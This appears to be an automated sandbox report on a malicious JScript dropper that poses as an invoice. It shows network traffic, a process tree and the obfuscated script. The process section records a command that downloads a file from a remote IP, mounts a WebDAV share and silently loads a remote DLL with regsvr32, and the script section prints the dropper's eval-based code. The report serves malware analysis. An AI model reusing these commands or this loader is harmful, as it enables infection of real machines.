Jan 13, 2025 13:55:04.976418018 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 13, 2025 13:55:04.976483107 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 13, 2025 13:55:04.981336117 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	193.143.1.205	8888	4412	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 13:55:06.641218901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 13:55:07.430828094 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:55:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	07:55:00
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js"
Imagebase:	0x7ff7b1cc0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:55:01
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Imagebase:	0x7ff61fb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:55:01
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:55:01
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:55:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:55:05
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61fb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:55:05
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69ecc0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:55:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:55:06
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:55:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1628,i,15348255710480539430,1827059761029734121,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ghmwelvkl() {	ghmwelvkl() ➔ undefined
1	this[dbdeywyvc + piufnw + daqygc + caakqcw] ( "vymlmaifn=[1031,3079,5127,4103,2055,3072];var sfbph=this[ubarlx+daqygc+qjger+bdqbmid+dbdeywyvc+jhaye+tnkccwwyc+olyhyje](this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][kqxkdzz+qjger+dbdeywyvc+daqygc+olyhyje+dbdeywyvc+uvmmmy+nzoimcf+vofmy+dbdeywyvc+peqqmbxmj+olyhyje](mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje+svxpmtf+mzbaozqe+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw)[fikwis+dbdeywyvc+etdbo+fikwis+dbdeywyvc+daqygc+enoykplkn](ubjwtoppf+hqjefeqzt+hfwpfji+qdzkkz+gyodzfq+kqxkdzz+ygzyorp+fikwis+fikwis+hfwpfji+kstth+hzorhjksh+gyodzfq+ygzyorp+mzbaozqe+hfwpfji+fikwis+eympbwkm+kqxkdzz+kgypxcdm+tnkccwwyc+olyhyje+qjger+kgypxcdm+caakqcw+wapjohx+wnexvwlam+daqygc+tnkccwwyc+dbdeywyvc+caakqcw+eympbwkm+jhaye+tnkccwwyc+olyhyje+dbdeywyvc+qjger+tnkccwwyc+daqygc+olyhyje+cfylfhmp+kgypxcdm+tnkccwwyc+daqygc+caakqcw+eympbwkm+kqmajl+kgypxcdm+peqqmbxmj+daqygc+caakqcw+dbdeywyvc),16);for(khwyw=0;khwyw<vymlmaifn[caakqcw+dbdeywyvc+tnkccwwyc+etdbo+olyhyje+uchtwmuvg];++khwyw){if(sfbph==vymlmaifn[khwyw]){sfbph=true;break;}}if(sfbph!==true)this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][hffqg+zklstwj+cfylfhmp+olyhyje]();this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][kqxkdzz+qjger+dbdeywyvc+daqygc+olyhyje+dbdeywyvc+uvmmmy+nzoimcf+vofmy+dbdeywyvc+peqqmbxmj+olyhyje](mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje+svxpmtf+mzbaozqe+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw)[qjger+zklstwj+tnkccwwyc](peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+ubarlx+kgypxcdm+lgvac+dbdeywyvc+qjger+bdqbmid+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw+svxpmtf+dbdeywyvc+ylrqi+dbdeywyvc+wapjohx+rrmna+kqxkdzz+kgypxcdm+vdogkqim+vdogkqim+daqygc+tnkccwwyc+enoykplkn+wapjohx+imzmj+jhaye+tnkccwwyc+piufnw+kgypxcdm+omhonqfy+dbdeywyvc+rrmna+mvrceo+dbdeywyvc+nzoimcf+fikwis+dbdeywyvc+iacwtjqy+zklstwj+dbdeywyvc+bdqbmid+olyhyje+wapjohx+rrmna+uvmmmy+zklstwj+olyhyje+wviak+cfylfhmp+caakqcw+dbdeywyvc+wapjohx+anftamsq+olyhyje+dbdeywyvc+vdogkqim+ubarlx+anftamsq+eympbwkm+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+enoykplkn+watyz+wapjohx+uchtwmuvg+olyhyje+olyhyje+ubarlx+ubkxlsi+wjfaljpy+wjfaljpy+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+wjfaljpy+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+uchtwmuvg+ubarlx+imzmj+fxurur+fxurur+bdqbmid+olyhyje+daqygc+qjger+olyhyje+wapjohx+anftamsq+olyhyje+dbdeywyvc+vdogkqim+ubarlx+anftamsq+eympbwkm+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+enoykplkn+watyz+fxurur+fxurur+peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+tnkccwwyc+dbdeywyvc+olyhyje+wapjohx+zklstwj+bdqbmid+dbdeywyvc+wapjohx+eympbwkm+eympbwkm+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+qwqauqhhd+dzdccohq+dzdccohq+dzdccohq+dzdccohq+eympbwkm+enoykplkn+daqygc+piufnw+lgvac+lgvac+lgvac+qjger+kgypxcdm+kgypxcdm+olyhyje+eympbwkm+fxurur+fxurur+peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+qjger+dbdeywyvc+etdbo+bdqbmid+piufnw+qjger+ftjjm+gwbfe+wapjohx+wjfaljpy+bdqbmid+wapjohx+eympbwkm+eympbwkm+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+qwqauqhhd+dzdccohq+dzdccohq+dzdccohq+dzdccohq+eympbwkm+enoykplkn+daqygc+piufnw+lgvac+lgvac+lgvac+qjger+kgypxcdm+kgypxcdm+olyhyje+eympbwkm+gwbfe+eaxkotj+klret+pmcpzvoi+zmujdhoz+gwbfe+ftjjm+zmujdhoz+tetqjbnlr+pmcpzvoi+plrkal+asyajk+dzdccohq+gwbfe+pmcpzvoi+svxpmtf+enoykplkn+caakqcw+caakqcw,0,false);" );	eval("vymlmaifn=[1031,3079,5127,4103,2055,3072];var sfbph=this[ubarlx+daqygc+qjger+bdqbmid+dbdeywyvc+jhaye+tnkccwwyc+olyhyje](this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][kqxkdzz+qjger+dbdeywyvc+daqygc+olyhyje+dbdeywyvc+uvmmmy+nzoimcf+vofmy+dbdeywyvc+peqqmbxmj+olyhyje](mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje+svxpmtf+mzbaozqe+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw)[fikwis+dbdeywyvc+etdbo+fikwis+dbdeywyvc+daqygc+enoykplkn](ubjwtoppf+hqjefeqzt+hfwpfji+qdzkkz+gyodzfq+kqxkdzz+ygzyorp+fikwis+fikwis+hfwpfji+kstth+hzorhjksh+gyodzfq+ygzyorp+mzbaozqe+hfwpfji+fikwis+eympbwkm+kqxkdzz+kgypxcdm+tnkccwwyc+olyhyje+qjger+kgypxcdm+caakqcw+wapjohx+wnexvwlam+daqygc+tnkccwwyc+dbdeywyvc+caakqcw+eympbwkm+jhaye+tnkccwwyc+olyhyje+dbdeywyvc+qjger+tnkccwwyc+daqygc+olyhyje+cfylfhmp+kgypxcdm+tnkccwwyc+daqygc+caakqcw+eympbwkm+kqmajl+kgypxcdm+peqqmbxmj+daqygc+caakqcw+dbdeywyvc),16);for(khwyw=0;khwyw<vymlmaifn[caakqcw+dbdeywyvc+tnkccwwyc+etdbo+olyhyje+uchtwmuvg];++khwyw){if(sfbph==vymlmaifn[khwyw]){sfbph=true;break;}}if(sfbph!==true)this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][hffqg+zklstwj+cfylfhmp+olyhyje]();this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][kqxkdzz+qjger+dbdeywyvc+daqygc+olyhyje+dbdeywyvc+uvmmmy+nzoimcf+vofmy+dbdeywyvc+peqqmbxmj+olyhyje](mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje+svxpmtf+mzbaozqe+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw)[qjger+zklstwj+tnkccwwyc](peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+ubarlx+kgypxcdm+lgvac+dbdeywyvc+qjger+bdqbmid+uchtwmuvg+dbdeywyvc+caakqcw+caakqcw+svxpmtf+dbdeywyvc+ylrqi+dbdeywyvc+wapjohx+rrmna+kqxkdzz+kgypxcdm+vdogkqim+vdogkqim+daqygc+tnkccwwyc+enoykplkn+wapjohx+imzmj+jhaye+tnkccwwyc+piufnw+kgypxcdm+omhonqfy+dbdeywyvc+rrmna+mvrceo+dbdeywyvc+nzoimcf+fikwis+dbdeywyvc+iacwtjqy+zklstwj+dbdeywyvc+bdqbmid+olyhyje+wapjohx+rrmna+uvmmmy+zklstwj+olyhyje+wviak+cfylfhmp+caakqcw+dbdeywyvc+wapjohx+anftamsq+olyhyje+dbdeywyvc+vdogkqim+ubarlx+anftamsq+eympbwkm+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+enoykplkn+watyz+wapjohx+uchtwmuvg+olyhyje+olyhyje+ubarlx+ubkxlsi+wjfaljpy+wjfaljpy+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+wjfaljpy+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+uchtwmuvg+ubarlx+imzmj+fxurur+fxurur+bdqbmid+olyhyje+daqygc+qjger+olyhyje+wapjohx+anftamsq+olyhyje+dbdeywyvc+vdogkqim+ubarlx+anftamsq+eympbwkm+cfylfhmp+tnkccwwyc+piufnw+kgypxcdm+cfylfhmp+peqqmbxmj+dbdeywyvc+svxpmtf+ubarlx+enoykplkn+watyz+fxurur+fxurur+peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+tnkccwwyc+dbdeywyvc+olyhyje+wapjohx+zklstwj+bdqbmid+dbdeywyvc+wapjohx+eympbwkm+eympbwkm+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+qwqauqhhd+dzdccohq+dzdccohq+dzdccohq+dzdccohq+eympbwkm+enoykplkn+daqygc+piufnw+lgvac+lgvac+lgvac+qjger+kgypxcdm+kgypxcdm+olyhyje+eympbwkm+fxurur+fxurur+peqqmbxmj+vdogkqim+enoykplkn+wapjohx+wjfaljpy+peqqmbxmj+wapjohx+qjger+dbdeywyvc+etdbo+bdqbmid+piufnw+qjger+ftjjm+gwbfe+wapjohx+wjfaljpy+bdqbmid+wapjohx+eympbwkm+eympbwkm+plrkal+klret+ftjjm+svxpmtf+plrkal+zmujdhoz+ftjjm+svxpmtf+plrkal+svxpmtf+gwbfe+eaxkotj+pmcpzvoi+qwqauqhhd+dzdccohq+dzdccohq+dzdccohq+dzdccohq+eympbwkm+enoykplkn+daqygc+piufnw+lgvac+lgvac+lgvac+qjger+kgypxcdm+kgypxcdm+olyhyje+eympbwkm+gwbfe+eaxkotj+klret+pmcpzvoi+zmujdhoz+gwbfe+ftjjm+zmujdhoz+tetqjbnlr+pmcpzvoi+plrkal+asyajk+dzdccohq+gwbfe+pmcpzvoi+svxpmtf+enoykplkn+caakqcw+caakqcw,0,false);") ➔ 0
2	}
3	anftamsq = "w";
4	anftamsq = "Y";
5	anftamsq = "J";
6	anftamsq = "E";
7	anftamsq = "N";
8	anftamsq = "%";
9	zklstwj = "I";
10	zklstwj = "P";
11	zklstwj = "e";
12	zklstwj = "c";
13	zklstwj = "P";
14	zklstwj = "v";
15	zklstwj = "q";
16	zklstwj = "o";
17	zklstwj = "u";
18	enoykplkn = "F";
19	enoykplkn = "f";
20	enoykplkn = "s";
21	enoykplkn = "F";
22	enoykplkn = "P";
23	enoykplkn = "X";
24	enoykplkn = "m";
25	enoykplkn = "W";
26	enoykplkn = "o";
27	enoykplkn = "d";
28	ubkxlsi = "z";
29	ubkxlsi = "L";
30	ubkxlsi = "D";
31	ubkxlsi = "u";
32	ubkxlsi = "h";
33	ubkxlsi = "Z";
34	ubkxlsi = "S";
35	ubkxlsi = "L";
36	ubkxlsi = ":";
37	ubjwtoppf = "O";
38	ubjwtoppf = "o";
39	ubjwtoppf = "p";
40	ubjwtoppf = "B";
41	ubjwtoppf = "r";
42	ubjwtoppf = "J";
43	ubjwtoppf = "H";
44	plrkal = "z";
45	plrkal = "H";
46	plrkal = "Z";
47	plrkal = "a";
48	plrkal = "l";
49	plrkal = "h";
50	plrkal = "I";
51	plrkal = "g";
52	plrkal = "P";
53	plrkal = "1";
54	gyodzfq = "C";
55	gyodzfq = "R";
56	gyodzfq = "L";
57	gyodzfq = "w";
58	gyodzfq = "n";
59	gyodzfq = "l";
60	gyodzfq = "s";
61	gyodzfq = "_";
62	imzmj = "R";
63	imzmj = "g";
64	imzmj = "C";
65	imzmj = "i";
66	imzmj = "Z";
67	imzmj = "P";
68	imzmj = "M";
69	imzmj = "e";
70	imzmj = "T";
71	imzmj = "\"";
72	bdqbmid = "o";
73	bdqbmid = "W";
74	bdqbmid = "S";
75	bdqbmid = "r";
76	bdqbmid = "O";
77	bdqbmid = "x";
78	bdqbmid = "c";
79	bdqbmid = "u";
80	bdqbmid = "v";
81	bdqbmid = "s";
82	rrmna = "l";
83	rrmna = "t";
84	rrmna = "y";
85	rrmna = "D";
86	rrmna = "K";
87	rrmna = "u";
88	rrmna = "a";
89	rrmna = "z";
90	rrmna = "O";
91	rrmna = "-";
92	dbdeywyvc = "Y";
93	dbdeywyvc = "d";
94	dbdeywyvc = "B";
95	dbdeywyvc = "n";
96	dbdeywyvc = "Z";
97	dbdeywyvc = "q";
98	dbdeywyvc = "Y";
99	dbdeywyvc = "e";
100	wapjohx = "D";
101	wapjohx = "k";
102	wapjohx = "E";
103	wapjohx = "v";
104	wapjohx = "U";
105	wapjohx = " ";
106	cfylfhmp = "J";
107	cfylfhmp = "u";
108	cfylfhmp = "S";
109	cfylfhmp = "q";
110	cfylfhmp = "f";
111	cfylfhmp = "m";
112	cfylfhmp = "p";
113	cfylfhmp = "H";
114	cfylfhmp = "i";
115	uvmmmy = "l";
116	uvmmmy = "q";
117	uvmmmy = "B";
118	uvmmmy = "Y";
119	uvmmmy = "C";
120	uvmmmy = "b";
121	uvmmmy = "D";
122	uvmmmy = "O";
123	vdogkqim = "n";
124	vdogkqim = "G";
125	vdogkqim = "j";
126	vdogkqim = "d";
127	vdogkqim = "M";
128	vdogkqim = "o";
129	vdogkqim = "T";
130	vdogkqim = "m";
131	etdbo = "x";
132	etdbo = "Y";
133	etdbo = "V";
134	etdbo = "Q";
135	etdbo = "J";
136	etdbo = "T";
137	etdbo = "g";
138	etdbo = "b";
139	etdbo = "H";
140	etdbo = "g";
141	asyajk = "S";
142	asyajk = "m";
143	asyajk = "f";
144	asyajk = "y";
145	asyajk = "Z";
146	asyajk = "G";
147	asyajk = "O";
148	asyajk = "W";
149	asyajk = "E";
150	asyajk = "6";
151	olyhyje = "N";
152	olyhyje = "b";
153	olyhyje = "o";
154	olyhyje = "e";
155	olyhyje = "x";
156	olyhyje = "t";
157	eympbwkm = "C";
158	eympbwkm = "s";
159	eympbwkm = "H";
160	eympbwkm = "z";
161	eympbwkm = "v";
162	eympbwkm = "\\";
163	dzdccohq = "g";
164	dzdccohq = "l";
165	dzdccohq = "D";
166	dzdccohq = "C";
167	dzdccohq = "l";
168	dzdccohq = "y";
169	dzdccohq = "a";
170	dzdccohq = "8";
171	omhonqfy = "s";
172	omhonqfy = "z";
173	omhonqfy = "S";
174	omhonqfy = "D";
175	omhonqfy = "U";
176	omhonqfy = "Y";
177	omhonqfy = "k";
178	jhaye = "L";
179	jhaye = "G";
180	jhaye = "X";
181	jhaye = "m";
182	jhaye = "S";
183	jhaye = "X";
184	jhaye = "h";
185	jhaye = "C";
186	jhaye = "I";
187	iacwtjqy = "A";
188	iacwtjqy = "a";
189	iacwtjqy = "A";
190	iacwtjqy = "q";
191	iacwtjqy = "r";
192	iacwtjqy = "v";
193	iacwtjqy = "c";
194	iacwtjqy = "q";
195	ygzyorp = "G";
196	ygzyorp = "B";
197	ygzyorp = "W";
198	ygzyorp = "Q";
199	ygzyorp = "e";
200	ygzyorp = "N";
201	ygzyorp = "W";
202	ygzyorp = "U";
203	vofmy = "f";
204	vofmy = "x";
205	vofmy = "F";
206	vofmy = "T";
207	vofmy = "u";
208	vofmy = "C";
209	vofmy = "T";
210	vofmy = "K";
211	vofmy = "p";
212	vofmy = "j";
213	kqmajl = "J";
214	kqmajl = "c";
215	kqmajl = "E";
216	kqmajl = "V";
217	kqmajl = "s";
218	kqmajl = "L";
219	mvrceo = "w";
220	mvrceo = "S";
221	mvrceo = "a";
222	mvrceo = "n";
223	mvrceo = "W";
224	mvrceo = "W";
225	lgvac = "D";
226	lgvac = "R";
227	lgvac = "z";
228	lgvac = "Y";
229	lgvac = "a";
230	lgvac = "f";
231	lgvac = "A";
232	lgvac = "J";
233	lgvac = "w";
234	hfwpfji = "D";
235	hfwpfji = "C";
236	hfwpfji = "O";
237	hfwpfji = "c";
238	hfwpfji = "k";
239	hfwpfji = "o";
240	hfwpfji = "E";
241	caakqcw = "m";
242	caakqcw = "L";
243	caakqcw = "u";
244	caakqcw = "I";
245	caakqcw = "j";
246	caakqcw = "l";
247	watyz = "M";
248	watyz = "Q";
249	watyz = "Y";
250	watyz = "g";
251	watyz = "G";
252	watyz = "f";
253	qwqauqhhd = "U";
254	qwqauqhhd = "t";
255	qwqauqhhd = "h";
256	qwqauqhhd = "R";
257	qwqauqhhd = "X";
258	qwqauqhhd = "m";
259	qwqauqhhd = "E";
260	qwqauqhhd = "@";
261	wjfaljpy = "N";
262	wjfaljpy = "m";
263	wjfaljpy = "b";
264	wjfaljpy = "e";
265	wjfaljpy = "i";
266	wjfaljpy = "f";
267	wjfaljpy = "J";
268	wjfaljpy = "/";
269	pmcpzvoi = "B";
270	pmcpzvoi = "R";
271	pmcpzvoi = "Z";
272	pmcpzvoi = "S";
273	pmcpzvoi = "D";
274	pmcpzvoi = "X";
275	pmcpzvoi = "5";
276	svxpmtf = "O";
277	svxpmtf = "L";
278	svxpmtf = "A";
279	svxpmtf = "a";
280	svxpmtf = "I";
281	svxpmtf = ".";
282	fikwis = "d";
283	fikwis = "b";
284	fikwis = "f";
285	fikwis = "i";
286	fikwis = "F";
287	fikwis = "l";
288	fikwis = "c";
289	fikwis = "l";
290	fikwis = "e";
291	fikwis = "R";
292	kqxkdzz = "E";
293	kqxkdzz = "X";
294	kqxkdzz = "f";
295	kqxkdzz = "H";
296	kqxkdzz = "H";
297	kqxkdzz = "E";
298	kqxkdzz = "N";
299	kqxkdzz = "u";
300	kqxkdzz = "C";
301	mzbaozqe = "k";
302	mzbaozqe = "D";
303	mzbaozqe = "X";
304	mzbaozqe = "Q";
305	mzbaozqe = "m";
306	mzbaozqe = "y";
307	mzbaozqe = "F";
308	mzbaozqe = "P";
309	mzbaozqe = "S";
310	qjger = "y";
311	qjger = "L";
312	qjger = "f";
313	qjger = "s";
314	qjger = "i";
315	qjger = "r";
316	uchtwmuvg = "q";
317	uchtwmuvg = "w";
318	uchtwmuvg = "T";
319	uchtwmuvg = "F";
320	uchtwmuvg = "I";
321	uchtwmuvg = "D";
322	uchtwmuvg = "K";
323	uchtwmuvg = "E";
324	uchtwmuvg = "h";
325	tnkccwwyc = "v";
326	tnkccwwyc = "u";
327	tnkccwwyc = "I";
328	tnkccwwyc = "w";
329	tnkccwwyc = "J";
330	tnkccwwyc = "X";
331	tnkccwwyc = "X";
332	tnkccwwyc = "n";
333	ubarlx = "v";
334	ubarlx = "J";
335	ubarlx = "t";
336	ubarlx = "R";
337	ubarlx = "t";
338	ubarlx = "x";
339	ubarlx = "h";
340	ubarlx = "p";
341	eaxkotj = "q";
342	eaxkotj = "t";
343	eaxkotj = "z";
344	eaxkotj = "j";
345	eaxkotj = "p";
346	eaxkotj = "c";
347	eaxkotj = "n";
348	eaxkotj = "b";
349	eaxkotj = "0";
350	qdzkkz = "V";
351	qdzkkz = "t";
352	qdzkkz = "m";
353	qdzkkz = "c";
354	qdzkkz = "q";
355	qdzkkz = "j";
356	qdzkkz = "z";
357	qdzkkz = "U";
358	qdzkkz = "Q";
359	qdzkkz = "Y";
360	ftjjm = "l";
361	ftjjm = "C";
362	ftjjm = "a";
363	ftjjm = "M";
364	ftjjm = "U";
365	ftjjm = "O";
366	ftjjm = "k";
367	ftjjm = "3";
368	klret = "A";
369	klret = "F";
370	klret = "S";
371	klret = "a";
372	klret = "n";
373	klret = "9";
374	hzorhjksh = "F";
375	hzorhjksh = "N";
376	hzorhjksh = "Z";
377	hzorhjksh = "E";
378	hzorhjksh = "p";
379	hzorhjksh = "H";
